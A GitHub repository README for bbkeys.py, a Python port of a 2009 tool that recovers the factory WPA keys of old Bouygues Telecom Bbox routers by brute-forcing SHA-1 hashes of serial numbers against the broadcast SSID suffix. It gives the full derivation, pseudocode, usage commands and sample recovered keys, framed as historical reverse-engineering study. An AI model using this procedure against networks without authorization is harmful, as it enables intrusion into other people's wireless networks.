Skip to content

Drakiat/bbkeys.py

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 

Repository files navigation

bbkeys.py

A Python port of BBKEYS (bbkeyswin.exe), a tool that generates the default WPA keys used by 2008/2009-era Bouygues Telecom "Bbox" routers.

This repository is a faithful reimplementation produced by reverse-engineering the original 32-bit Windows binary in Ghidra. The underlying weakness is a publicly documented and long-patched issue from 2009 affecting obsolete ISP hardware. It is published here for reverse-engineering study, historical interest, and interoperability with the original tool.


Credits & attribution

This is not original research. All credit for the algorithm and the original implementation belongs to the people below — this project only re-expresses their work in Python.

  • Kevin Devine — author of stkeys, the original analysis and implementation of the Thomson / SpeedTouch default-key derivation that this whole family of tools is built on.
  • M1ck3y (www.crack-wifi.com) — author of the original BBKEYS (bbkeyswin.exe), which adapted Kevin Devine's stkeys approach to the Bbox routers. The program's own banner reads: "Bouygues Telecom Bbox default WPA key Generator — Based upon Kevin Devine's stkeys — Brought to you by M1ck3y — www.crack-wifi.com".

The Python port (bbkeys.py) simply reproduces their logic; please attribute the original authors in any further use.


Background: how these routers leaked their keys

For this generation of Thomson-built routers (sold under several ISP brands, including Bbox), the factory SSID and the factory WPA key were both derived from the device's serial number by hashing it with SHA-1:

digest = SHA1( serial_number_as_ascii )      # 20 bytes

WPA key     = first 5 bytes of digest, as 10 uppercase hex chars
SSID suffix = last  3 bytes of digest, as  6 uppercase hex chars

The router broadcasts its SSID, so the last 6 hex characters of the SSID are public. The flaw: the serial-number space is small and highly structured, so an attacker can brute-force every possible serial, hash each one, and keep the candidates whose digest ends in the known SSID suffix. For each surviving candidate the first 5 bytes of the same digest give a candidate WPA key.

Because only 3 bytes (24 bits) of the digest are checked against the SSID, more than one serial can match — hence the tool reports "potential" keys (plural).

This was fixed long ago by randomizing factory credentials; modern routers do not derive the key from a guessable serial.


The serial-number format (the search space)

The candidate serial is a 12-character ASCII string with this exact layout:

  C  P  0  Y  W  W  H  H  H  H  H  H
  └──┬──┘  │  └─┬┘  └─┬┘  └─┬┘  └─┬┘
   "CP0"   │  week   p1    p2    p3
           │ (01-52)
        year digit
        ('8' or '9')
Bytes Field Values
0–2 Prefix constant "CP0"
3 Year digit '8' or '9' → 2008 / 2009
4–5 Week two decimal digits, "01""52"
6–7 Production p1 see encoding below
8–9 Production p2 see encoding below
10–11 Production p3 see encoding below

Production-character encoding

The three "production" positions each represent one character drawn from a 36-symbol alphabet:

CHARSET36 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"

But the character is not stored directly. Instead, each character is written as the two uppercase hex digits of its ASCII code. For example:

Char ASCII Stored as
'0' 0x30 "30"
'A' 0x41 "41"
'Z' 0x5A "5A"

So the production code K 7 Q becomes the six hex characters 4B3751 ('K'=0x4B, '7'=0x37, 'Q'=0x51), and the full serial that gets hashed is:

CP09 34 4B3751   ->   "CP09344B3751"
└┬─┘ └┬┘ └──┬──┘
year week  K7Q

Size of the search space

2 (years) × 52 (weeks) × 36 × 36 × 36 (three production chars)
  = 2 × 52 × 46,656
  = 4,852,224 candidate serials

Each candidate is one SHA-1 of a 12-byte string, so the entire space runs in a few seconds.


The algorithm, step by step

input  : the known SSID octets (hex)   e.g. "441FE6"  -> target = bytes 44 1F E6
N      : number of target octets       e.g. 3

for year_digit in {'8', '9'}:
    for week in 1..52:
        for p1 in CHARSET36:
            for p2 in CHARSET36:
                for p3 in CHARSET36:

                    serial = "CP0" + year_digit + f"{week:02d}"
                           + f"{ord(p1):02X}{ord(p2):02X}{ord(p3):02X}"

                    digest = SHA1(serial.encode("ascii"))    # 20 bytes

                    if digest[-N:] == target:                # tail matches SSID
                        key = digest[:5].hex().upper()       # first 5 bytes
                        report(serial, p1, p2, p3, key)
  • Match condition: the last N bytes of the SHA-1 digest must equal the N octets you supplied. With the standard 3-octet SSID suffix, that is the last 3 bytes (digest[17:20]).
  • Recovered key: the first 5 bytes of the same digest, rendered as 10 uppercase hex characters. This is the candidate factory WPA key.

Notes on fidelity to the original binary

These behaviors were reproduced exactly as found in bbkeyswin.exe:

  • SHA-1, confirmed by the init constants 0x67452301 0xEFCDAB89 0x98BADCFE 0x10325476 0xC3D2E1F0.
  • Serial prefix "CP0", confirmed from the program's static data (0x404000 = 0x00305043 → bytes 43 50 30 00 = "CP0\0").
  • Year limited to 8/9, week 152, three production chars over the 36-symbol alphabet (the five nested loops in main).
  • Key = first 5 digest bytes; SSID match = last N digest bytes.

One intentional difference: the original binary's input parser rejects any -i value longer than 6 hex digits (3 octets) and any odd-length value. This port keeps the odd-length rejection (it is fundamental — octets are byte pairs) but only warns on longer input and then matches that many trailing digest bytes. This lets the tool run on longer SSID-octet strings while still reproducing the original behavior exactly when you pass the standard 6-hex suffix.


Usage

python3 bbkeys.py [ -i <ssid octets> ] [ -o <output file> ] [ -v ]
Flag Meaning
-i SSID octets to match, as hex (e.g. 441FE6). The last 6 hex of the SSID.
-o Write the recovered candidate keys (one 10-hex key per line) to a file.
-v Print candidates to stdout as they are found.

Example

$ python3 bbkeys.py -v -i 12D7D1
...
Generating keys..please wait

Serial Number: CP0934**K7Q - potential key = A5AC05F48F

Found 1 potential keys.

The display line mirrors the original tool's Serial Number: %s**%C%C%C - potential key = ... format: CP09 34 (year/week), ** (literal separator), then the three decoded production characters (K, 7, Q), then the key.


Verification

The port was validated with a round-trip test: take a known in-range serial, compute its real SHA-1 digest, extract the true SSID suffix and key, then feed the suffix back into the tool and confirm it recovers the same serial and key.

serial      : CP09344B3751   (year 2009, week 34, production "K7Q")
true key    : A5AC05F48F      (first 5 digest bytes)
SSID suffix : 12D7D1          (last 3 digest bytes)

$ python3 bbkeys.py -v -i 12D7D1
Serial Number: CP0934**K7Q - potential key = A5AC05F48F

Scope & responsible use

This targets a specific, obsolete generation of routers whose default-key weakness was publicly disclosed and patched in 2009; current hardware is not affected. Recovering keys for networks you do not own or have explicit permission to test is unlawful in most jurisdictions. Use this only against your own equipment or with authorization, e.g. for legitimate security assessment, historical research, or learning reverse engineering.

About

A Python port of BBKEYS (bbkeyswin.exe), a tool that generates the default WPA keys used by 2008/2009-era Bouygues Telecom "Bbox" routers.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages